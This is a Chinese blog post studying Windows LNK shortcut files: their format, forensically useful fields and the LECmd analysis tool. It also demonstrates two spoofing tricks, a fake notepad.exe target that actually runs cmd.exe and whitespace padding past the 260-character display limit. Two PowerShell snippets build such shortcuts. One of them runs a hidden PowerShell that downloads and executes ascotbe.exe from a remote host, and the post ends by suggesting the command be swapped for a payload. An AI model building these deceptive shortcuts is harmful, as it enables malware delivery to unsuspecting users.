LNK文件分析学习-1

介绍

LNK是Microsoft Windows用于指向可执行文件或应用程序的快捷方式文件的文件扩展名。LNK文件通常用于创建开始菜单和桌面快捷方式。

Lnk文件格式

较详细的分析可以参考:https://bbs.kanxue.com/thread-260953.htm#msg_header_h2_1
image.png

可以关注的项有:
CreationTime、AccessTime、WriteTime、sLinkInfo、RELATIVE_PATH、WORKING_DIR、ICON_LOCATION

LNK文件基本分析

查看属性:
image.png

属性栏信息欺骗:
image.png
这里假装notepad.exe是链接文件名表达的原本调用的程序(正常程序),cmd.exe为实际执行的恶意程序。这里我们可以通过修改lnk文件的文件选项达到将恶意程序名修改为notepad.exe的效果,即在属性面板里的目标里显示的是执行notepad.exe,但实际执行的是cmd.exe。
image.png
image.png
image.png
点击该链接后:
image.png

字符长度欺骗:
快捷方式>目标的最大长度只有260个字符。任何超过这个长度的东西都是不可见的。但是,命令行参数的最大长度是4096个字符,我们可以在执行的命令行中插入空格,超过目标字段展示的260字符的长度,之后则无法在上面的窗口中看到整个命令。
image.png
image.png

Copy
$file = Get-Content "C:\Users\zw1sh\Desktop\zwish.txt" $WshShell = New-Object -comObject WScript.Shell $Shortcut = $WshShell.CreateShortcut("C:\Users\zw1sh\Desktop\zwish.lnk") $Shortcut.TargetPath = "%SystemRoot%/system32/cmd.exe" $Shortcut.IconLocation = "%SystemRoot%/System32/Shell32.dll,21" $Shortcut.Arguments = ' '+ $file $Shortcut.Save()
Copy
$WshShell = New-Object -comObject WScript.Shell $Shortcut = $WshShell.CreateShortcut("test.lnk") $Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe" $Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21" $Shortcut.Arguments = "cmd /c powershell.exe -nop -w hidden -c IEX (new-object net.webclient).DownloadFile('http://192.168.1.7:8000/ascotbe.exe','.\\ascotbe.exe');&cmd /c .\\ascotbe.exe" $Shortcut.Save()

LEcmd工具分析:
https://ericzimmerman.github.io/#!index.md
image.png

同理,只需要把上述执行的命令换成payload即可利用。

posted @   zw1sh  阅读(876)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
点击右上角即可分享
微信分享提示